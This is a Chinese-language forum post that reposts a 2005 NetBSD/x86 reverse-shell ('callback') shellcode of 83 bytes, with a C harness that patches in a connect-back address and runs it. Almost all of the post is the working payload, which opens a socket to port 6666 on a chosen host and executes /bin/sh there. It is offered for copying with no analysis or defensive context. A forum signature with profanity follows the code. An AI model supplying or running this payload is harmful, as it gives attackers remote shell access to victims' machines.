发新话题
打印

netbsd/x86 callback shellcode (port 6666) 83 bytes

netbsd/x86 callback shellcode (port 6666) 83 bytes

文章作者:p. minervini
复制内容到剪贴板
代码:
/*
*  minervini at neuralnoise dot com (c) 2005
*  NetBSD/i386 2.0, callback shellcode (port 6666);
*/

#include <sys/types.h>
#include <stdio.h>
#include <string.h>

char scode[] =
  "\x31\xc0"         // xor   %eax,%eax
  "\x31\xc9"         // xor   %ecx,%ecx
  "\x50"            // push  %eax
  "\x40"            // inc   %eax
  "\x50"            // push  %eax
  "\x40"            // inc   %eax
  "\x50"            // push  %eax
  "\x50"            // push  %eax
  "\xb0\x61"         // mov   $0x61,%al
  "\xcd\x80"         // int   $0x80
  "\x89\xc3"         // mov   %eax,%ebx
  "\x89\xe2"         // mov   %esp,%edx
  "\x49"            // dec   %ecx
  "\x51"            // push  %ecx
  "\x51"            // push  %ecx
  "\x41"            // inc   %ecx
  "\x68\xf5\xff\xff\xfd" // push  $0xfdfffff5
  "\x68\xff\xfd\xe5\xf5" // push  $0xf5e5fdff
  "\xb1\x10"         // mov   $0x10,%cl
  "\x51"            // push  %ecx
  "\xf6\x12"         // notb  (%edx)
  "\x4a"            // dec   %edx
  "\xe2\xfb"         // loop  .-3
  "\xf6\x12"         // notb  (%edx)
  "\x52"            // push  %edx
  "\x50"            // push  %eax
  "\x50"            // push  %eax
  "\xb0\x62"         // mov   $0x62,%al
  "\xcd\x80"         // int   $0x80
  "\xb1\x03"         // mov   $0x3,%cl
  "\x49"            // dec   %ecx
  "\x51"            // push  %ecx
  "\x41"            // inc   %ecx
  "\x53"            // push  %ebx
  "\x50"            // push  %eax
  "\xb0\x5a"         // mov   $0x5a,%al
  "\xcd\x80"         // int   $0x80
  "\xe2\xf5"         // loop  .-9
  "\x51"            // push  %ecx
  "\x68\x2f\x2f\x73\x68" // push  $0x68732f2f
  "\x68\x2f\x62\x69\x6e" // push  $0x6e69622f
  "\x89\xe3"         // mov   %esp,%ebx
  "\x51"            // push  %ecx
  "\x54"            // push  %esp
  "\x53"            // push  %ebx
  "\x50"            // push  %eax
  "\xb0\x3b"         // mov   $0x3b,%al
  "\xcd\x80";        // int   $0x80

int main() {
  scode[23] = ~10;
  scode[24] = ~0;
  scode[25] = ~0;
  scode[26] = ~2;
  void (*code) () = (void *) scode;
  printf("length: %d\n", strlen(scode));
  code();
  return (0);
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题